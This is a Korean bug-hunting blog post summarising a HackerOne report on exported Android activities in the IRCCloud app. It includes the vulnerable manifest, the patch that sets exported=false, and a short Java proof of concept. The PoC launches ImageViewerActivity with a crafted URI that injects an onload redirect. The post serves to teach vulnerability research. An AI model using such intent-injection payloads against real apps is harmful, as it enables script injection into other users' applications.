https://hackerone.com/reports/283063
activity, service, provider, receiver 등에 Intent-filter가 설정된 경우 Default 설정으로 exported=true 상태가 됨.
intent-filter를 사용하지 않거나 사용할 경우 명시적으로 exportred=false 설정해야 안전함.
- 같은 기기에서 다른 임의의 앱에 의해 인탠트를 이용한 공격이 실행될 수 있음
- 새로운 안드로이드에서는 웹 브라우저에 의해서 익스플로잇이 될 수 있음
- 크싸를 방지하기 위해 외부에서 인태트 실행 금지, 인탠트를 실행하는 자바코드에서는 특수문자에 대한 필터링이 필요함
so can be launched by arbitrary apps installed on the same device.
On the newest Androids could be exploited also by Android Instant Apps directly from a web-browser (installation is not required).
취약한 코드
<activity android:configChanges="keyboardHidden|orientation|screenSize" android:label="@string/title_activity_imageviewer" android:name="com.irccloud.android.activity.ImageViewerActivity" android:theme="@style/ImageViewerTheme">
<intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="@string/IMAGE_SCHEME"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="@string/IMAGE_SCHEME_SECURE"/> </intent-filter> </activity>
PoC of exploitation on Java:
Intent intent = new Intent();
intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ImageViewerActivity");
intent.setData(Uri.parse("https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href=\"http://yahoo.com\""));
startActivity(intent);
이에 대한 조치사항 github 참고
https://github.com/irccloud/android/commit/8ff145519bcd30da1898dd54a68629f53c62afe7
android:name=".activity.EditConnectionActivity" | |||
android:exported="false" | |||
android:windowSoftInputMode="adjustResize"></activity> | |||
삭제된 코드 | <activity android:name=".activity.ServerReorderActivity"></activity> | ||
추가된 코드 | <activity android:name=".activity.ServerReorderActivity" | ||
android:exported="false"></activity> |
'버그헌팅 > 방법론' 카테고리의 다른 글
URL SCHEME 버그바운티 (0) | 2019.03.26 |
---|---|
안드로이드 정적분석 버그헌팅 검색어 모음 (0) | 2019.03.19 |
Bypass firewalls by DNS history (0) | 2019.02.21 |
Recon 및 해킹 도구 (1) | 2019.02.14 |
2019 버그헌팅 책 (0) | 2019.01.03 |